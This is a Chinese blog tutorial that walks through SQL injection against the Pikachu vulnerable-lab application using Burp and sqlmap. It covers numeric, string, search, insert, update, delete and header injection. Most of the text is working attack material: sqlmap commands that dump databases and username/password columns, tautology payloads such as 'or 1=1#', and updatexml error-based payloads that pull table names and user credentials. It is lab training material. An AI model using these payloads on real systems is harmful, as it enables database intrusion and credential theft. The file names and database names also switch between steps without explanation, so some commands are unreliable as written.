前言:
软件:
- burp
sqlmap
软件配置设置代理
打开kali中自带的
火狐浏览器
点击设置
--网络设置
漏洞环境安装
数字型注入(post)篇
利用
burp
抓包,将包中的文件另存为33.txt
爆出数据库
sqlmap -r "/root/22.txt" --dbs
爆出表
sqlmap -r "22.txt" -D lou --tables
爆出表结构
sqlmap -r "22.txt" -D lou -T users --columns
爆出表数据
sqlmap -r "/root/33.txt" -D kalibc -T users -C "username,password" --dump
视频
字符型注入
打开
Pikachu
中的字符型注入
字符型注入
字符型注入原理是 ‘false’ or true#‘恒为真
连接数据库,输入select * id,email from member where id = ‘KOBE’
会输出 KOBE账号的email
那么,我们可以想象如果在输入框输入一段字符,使其合理拼接到sql中,是不是就可以执行遍历了呢
我们在输入框输入kali’ or 1 = 1#
(前面一个单引号是与sql原有的’拼接 后面的#注释掉后面原有’)
sqlmap注入之(搜索型)注入
验证是否有注入
我们直接输入一个字符k
,点击搜索。
提示未见异常
我们输入关键字%k%
效果如下:
QQ截图20190404110711.png
此时,我们可以得出,存在搜索型注入漏洞
攻击方式一
利用burp
抓包,将包中的文件另存为22.txt
将22.txt
放到sqlmap
根目录 /usr/share/sqlmap
爆出数据库
sqlmap -r "22.txt" --dbs
方式二
不需要抓包保存文件的形式,直接执行命令
sqlmap -u http://192.168.123.129/vul/sqli/sqli_search.php? --data "name=*&submit=%E6%90%9C%E7%B4%A2" --dbs
分析:
SQL的模糊查询命令select * from 表名 where 字段名 like ‘%(对应值)%’;
,发现可以按照之前的思路来实现万能语句的拼接。
将拼接语句写为'%xxxx%'or 1=1 #%'
回到pikachu平台来进行尝试
xx型注入
由于XX型的只是SQL拼接方式不同,这里直接放结果。xx')or 1=1#
sql update/insert/dele注入
关于update
insert
语句
update
数据库更新语句
insert
数据库插入语句
首先打开注册页面
我们填写数据,点击提交后抓包。
右键 Send To Repeater
将字段name
的值改为kali' or updatexml(1,concat(0x7e,database()),0) or'
点击go
直接爆出数据库的名称。
即!改成的语句应为:username=kali' or updatexml(1,concat(0x7e,database()),0) or'&password=123456&sex=&phonenum=185673951111&email=&add=&submit=submit
获取表名
name值为
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='new' limit 0,1)),0) or'
username=' or updatexml(2,concat(0x7e,(select table_name from information_schema.tables where table_schema='new' limit 3,1)),0) or'&password=123456&sex=&phonenum=185673951111&email=&add=&submit=submit
获取列
kali' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0) or'
获取内容
username=kali' or updatexml(1,concat(0x7e,(select concat_ws(':', username, password) from users limit 0,1)),0) or'&password=123456&sex=&phonenum=185673951111&email=&add=&submit=submit
update注入
首先登陆
点击修改 进行抓包
爆出数据库
kali'or updatexml(2,concat(0x7e,(database())),0) or'
其他请参考上面提到的语法。
delete注入
我们先随便进行留言
然后找到删除连接
爆出数据库的版本
or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
在浏览器中执行http://127.0.0.1:8888/vul/sqli/sqli_del.php?id=56%20or%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1)
成功得到版本
爆出数据库: or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆出表: or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lou' limit 0,1)),0) or ''
列名: or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1 )),0) or ''
HTTP Header注入
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑
则可能会导致基于http header的SQL Inject漏洞。
One comment
学习了大佬!????